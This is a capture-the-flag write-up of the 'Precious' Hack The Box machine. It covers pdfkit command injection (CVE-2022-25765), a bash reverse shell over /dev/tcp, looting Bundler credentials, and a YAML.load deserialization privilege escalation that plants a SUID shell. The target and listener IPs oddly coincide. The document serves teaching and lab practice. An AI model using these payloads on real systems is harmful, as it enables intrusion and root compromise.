← all writeups SAMSON · CTF
HTB Linux in-depth

Precious

Target: 10.10.14.149
LinuxCVEpdfkitCMDInjectionrubycredentialhuntingYAMLdeserializationSSH

Overview

Precious is an easy Linux box built entirely on Ruby stack flaws. The foothold is CVE-2022-25765, a command injection in the pdfkit gem reachable through a "URL to PDF" web feature. A plaintext credential in a Bundler config moves me to a real user, and root is a YAML deserialization RCE in a sudo-runnable Ruby script that uses the unsafe YAML.load.

Recon

The site converts a supplied URL into a PDF. Fingerprinting required getting it to render my server, then inspecting the output PDF's metadata:

exiftool output.pdf
Creator : Generated by pdfkit v0.8.6

pdfkit v0.8.6 is the tell.

Foothold

CVE-2022-25765, pdfkit Command Injection

The bug: pdfkit builds a shell command to invoke wkhtmltopdf and interpolates the URL without sanitizing it. A URL containing a backtick-wrapped command breaks out into the shell. So the "convert this page" feature is really "run this command on the server."

http://10.10.14.149/?name=%20`id`     ->  PDF contains: uid=1001(ruby)
http://10.10.14.149/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.149/443 0>&1"`
rlwrap nc -lvnp 443
ruby@precious:/var/www/pdfapp$ whoami
ruby

Bundler Config Credentials → henry

ruby's home held a .bundle/config with a credential in cleartext:

BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:‹redacted›"

Why this is here: Bundler stores gem-source credentials in .bundle/config in plaintext. It's a common loot location on Ruby boxes. The password was reused for the henry system account, usable over SSH.

Privilege Escalation

sudo Ruby + YAML.load Deserialization

sudo -l
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

The script's vulnerable line:

YAML.load(File.read("dependencies.yml"))

Why YAML.load is RCE: unlike safe_load, Ruby's YAML.load will instantiate arbitrary objects described in the YAML, including gadget chains (Gem::Installer, Net::WriteAdapter, etc.) that ultimately call Kernel#system. So a crafted dependencies.yml runs a command as whoever runs the script, here, root. The script reads dependencies.yml from the current directory, so I control it.

I placed a deserialization payload whose command creates a SUID root shell, then ran the sudo script from that directory:

# ... Gem gadget chain ...
git_set: cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash
cd /tmp && sudo ruby /opt/update_dependencies.rb
./rootbash -p
rootbash-5.1# whoami
root

Root

Box rooted.

Takeaways

  • PDF metadata fingerprints the generator, pdfkit v0.8.6 mapped straight to CVE-2022-25765.
  • .bundle/config stores gem creds in plaintext, always loot it on Ruby hosts.
  • YAML.load (and Python's yaml.load, PHP unserialize, etc.) on attacker data is RCE. Use safe_load. A sudo script reading a YAML file from a writable CWD is a direct root path.